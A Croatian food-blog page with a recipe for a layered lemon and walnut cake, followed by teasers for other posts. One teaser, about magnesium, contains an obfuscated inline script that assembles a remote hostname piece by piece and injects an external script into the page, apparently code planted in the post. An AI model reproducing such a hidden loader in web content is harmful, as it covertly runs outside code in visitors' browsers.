SLOJEVITI KOLAČ OD LIMUNA I ORAHA 🍋




Slojeviti kolač od limuna i oraha 



Ovaj slojeviti kolač, sa zlatno žutim biskvitom, prozračnim bijelim slojem i bogatim nadjevom od oraha i marelica, odlična je kombinacija jednostavnosti i elegancije.




Slojeviti kolač od limuna i oraha 


Sastojci:

Sastojci za žuti biskvit:

  • šest žumanjaka
  • dva jaja
  • osam žlica šećera
  • jedna vrećica vanilin šećera
  • dvije žlice ulja
  • osam žlica glatkog brašna
  • jedna žličica praška za pecivo
  • korica jednog naribanog limuna
  • iscijeđeni sok od jednog limuna


Sastojci za nadjev od oraha:

  • 250 grama mljevenih oraha
  • tri žlice šećera
  • tri žlice marmelade po želji
  • 100 mililitara vrućeg mlijeka


Sastojci za bijeli biskvit:

  • šest bjelanjaka
  • osam žlica šećera
  • jedna vrećica vanilin šećera
  • dvije žlice ulja
  • osam žlica glatkog brašna
  • jedna žlica praška za pecivo
  • korica jednog naribanog limuna
  • iscijeđeni sok od jednog limuna

Za ukrašavanje vam je potreban šećer u prahu.



Priprema:

Odvojite žumanjke od bjelanjaka u dvije veće posude. U posudu sa žumanjcima dodajte dva cijela jaja, šećer i vanilin šećer pa sve pjenasto izmiksajte mikserom. Ulijte ulje i kratko nastavite miksati.

Dodajte glatko brašno i prašak za pecivo, koricu jednog naribanog limuna i iscijeđeni sok jednog limuna. Dobro izmiksajte kako biste dobili glatku smjesu. Obložite dno tepsije papirom za pečenje i ulijte pripremljenu smjesu. Rasporedite je do krajeva i zagladite površinu. Pecite žuti biskvit u prethodno zagrijanoj pećnici na 180 °C oko 10 minuta.

Dok se biskvit peče, pripremite nadjev od oraha. U posudu stavite mljevene orahe, šećer, marmeladu i vruće mlijeko. Sve dobro promiješajte ručno dok smjesa ne postane ujednačena. Pripremite bijeli biskvit. U bjelanjke dodajte šećer i vanilin šećer pa miksajte dok ne dobijete čvrst, gladak i sjajan snijeg. Ulijte ulje i kratko izmiksajte.

Dodajte glatko brašno, prašak za pecivo, koricu jednog naribanog limuna i iscijeđeni sok jednog limuna. Dobro izmiksajte kako bi smjesa postala glatka. Izvadite žuti biskvit iz pećnice i ostavite pećnicu uključenu na 180 °C. Preko žutog biskvita ravnomjerno rasporedite nadjev od oraha i zagladite ga.

Pažljivo nanesite bijeli biskvit preko nadjeva, razmažite ga do krajeva i zagladite površinu. Vratite tepsiju u pećnicu i pecite dodatnih 25 minuta na 180 °C. Ohladite kolač, pospite ga šećerom u prahu i narežite na manje komade.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više